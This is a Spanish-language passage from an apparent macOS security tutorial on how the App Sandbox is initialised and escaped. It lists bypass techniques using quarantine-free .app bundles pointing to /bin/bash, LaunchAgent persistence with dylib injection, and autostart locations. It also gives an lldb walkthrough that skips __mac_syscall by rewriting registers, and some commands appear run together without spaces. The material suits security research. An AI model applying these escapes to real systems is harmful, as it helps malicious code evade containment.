En la imagen anterior es posible observar cómo se cargará el sandbox cuando se ejecute una aplicación con el derecho com.apple.security.app-sandbox.
El compilador enlazará /usr/lib/libSystem.B.dylib al binario.
Luego, libSystem.B llamará a varias funciones hasta que xpc_pipe_routine envíe los derechos de la aplicación a securityd. Securityd verifica si el proceso debe estar en cuarentena dentro del Sandbox, y si es así, será puesto en cuarentena.
Finalmente, el sandbox se activará con una llamada a __sandbox_ms que llamará a __mac_syscall.
Posibles Bypass
Eludir el atributo de cuarentena
Los archivos creados por procesos en sandbox se les añade el atributo de cuarentena para prevenir escapes del sandbox. Sin embargo, si logras crear una carpeta .app sin el atributo de cuarentena dentro de una aplicación en sandbox, podrías hacer que el binario del paquete de la aplicación apunte a /bin/bash y agregar algunas variables de entorno en el plist para abusar de open y lanzar la nueva aplicación sin sandbox.
Por lo tanto, en este momento, si solo eres capaz de crear una carpeta con un nombre que termine en .app sin un atributo de cuarentena, puedes escapar del sandbox porque macOS solo verifica el atributo de cuarentena en la carpeta .app y en el ejecutable principal (y apuntaremos el ejecutable principal a /bin/bash).
Ten en cuenta que si un paquete .app ya ha sido autorizado para ejecutarse (tiene un xttr de cuarentena con la bandera de autorizado para ejecutarse activada), también podrías abusar de ello... excepto que ahora no puedes escribir dentro de los paquetes .app a menos que tengas algunos permisos privilegiados de TCC (que no tendrás dentro de un sandbox alto).
Incluso si una aplicación está destinada a estar en sandbox (com.apple.security.app-sandbox), es posible eludir el sandbox si se ejecuta desde un LaunchAgent (~/Library/LaunchAgents) por ejemplo.
Como se explica en esta publicación, si deseas obtener persistencia con una aplicación que está en sandbox, podrías hacer que se ejecute automáticamente como un LaunchAgent y tal vez inyectar código malicioso a través de variables de entorno DyLib.
Abusando de las ubicaciones de inicio automático
Si un proceso en sandbox puede escribir en un lugar donde más tarde una aplicación sin sandbox va a ejecutar el binario, podrá escapar simplemente colocando allí el binario. Un buen ejemplo de este tipo de ubicaciones son ~/Library/LaunchAgents o /System/Library/LaunchDaemons.
Para esto podrías necesitar incluso 2 pasos: Hacer que un proceso con un sandbox más permisivo (file-read*, file-write*) ejecute tu código que realmente escribirá en un lugar donde será ejecutado sin sandbox.
Consulta esta página sobre Ubicaciones de inicio automático:
Si desde el proceso en sandbox puedes comprometer otros procesos que se ejecutan en sandboxes menos restrictivos (o ninguno), podrás escapar a sus sandboxes:
Esta investigación descubrió 2 formas de eludir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca libSystem. Si un binario pudiera evitar cargarla, nunca sería sandboxed:
Si el binario estaba completamente compilado de forma estática, podría evitar cargar esa biblioteca.
Si el binario no necesitara cargar ninguna biblioteca (porque el enlazador también está en libSystem), no necesitaría cargar libSystem.
Shellcodes
Ten en cuenta que incluso los shellcodes en ARM64 necesitan ser enlazados en libSystem.dylib:
# Compile itgcc-Xlinker-sectcreate-Xlinker__TEXT-Xlinker__info_plist-XlinkerInfo.plistsand.c-osand# Create a certificate for "Code Signing"# Apply the entitlements via signingcodesign-s<cert-name>--entitlementsentitlements.xmlsand
La aplicación intentará leer el archivo ~/Desktop/del.txt, que el Sandbox no permitirá.
Crea un archivo allí, ya que una vez que se eluda el Sandbox, podrá leerlo:
echo"Sandbox Bypassed">~/Desktop/del.txt
Vamos a depurar la aplicación para ver cuándo se carga el Sandbox:
# Load app in debugginglldb./sand# Set breakpoint in xpc_pipe_routine(lldb) bxpc_pipe_routine# run(lldb) r# This breakpoint is reached by different functionalities# Check in the backtrace is it was de sandbox one the one that reached it# We are looking for the one libsecinit from libSystem.B, like the following one:(lldb) bt* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routineframe#1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584frame#2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64frame#3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80frame#4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272# To avoid lldb cutting info(lldb) settingssettarget.max-string-summary-length10000# The message is in the 2 arg of the xpc_pipe_routine function, get it with:(lldb) p (char *) xpc_copy_description($x1)(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored(lldb) registerreadx2x2=0x000000016fdfd660# Move until the end of the function(lldb) finish# Read the response## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY(lldb) memoryread-fp0x000000016fdfd660-c10x16fdfd660:0x0000600003d04000(lldb) p (char *) xpc_copy_description(0x0000600003d04000)(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)(lldb) breakpointset--name__mac_syscall--condition'($x1 == 0)'(lldb) c# The 1 arg is the name of the policy, in this case "Sandbox"(lldb) memoryread-fs $x00x19300eb22:"Sandbox"## BYPASS## Due to the previous bp, the process will be stopped in:Process2517stopped* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame#0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscalllibsystem_kernel.dylib`:-> 0x187659900<+0>:movx16,#0x17d0x187659904<+4>:svc#0x800x187659908<+8>:b.lo0x187659928 ; <+40>0x18765990c<+12>:pacibsp# To bypass jump to the b.lo address modifying some registers first(lldb) breakpointdelete1# Remove bp(lldb) registerwrite $pc 0x187659928#b.lo address(lldb) registerwrite $x0 0x00(lldb) registerwrite $x1 0x00(lldb) registerwrite $x16 0x17d(lldb) cProcess2517resumingSandboxBypassed!Process2517exitedwithstatus=0 (0x00000000)
Incluso con el Sandbox eludido, TCC preguntará al usuario si desea permitir que el proceso lea archivos del escritorio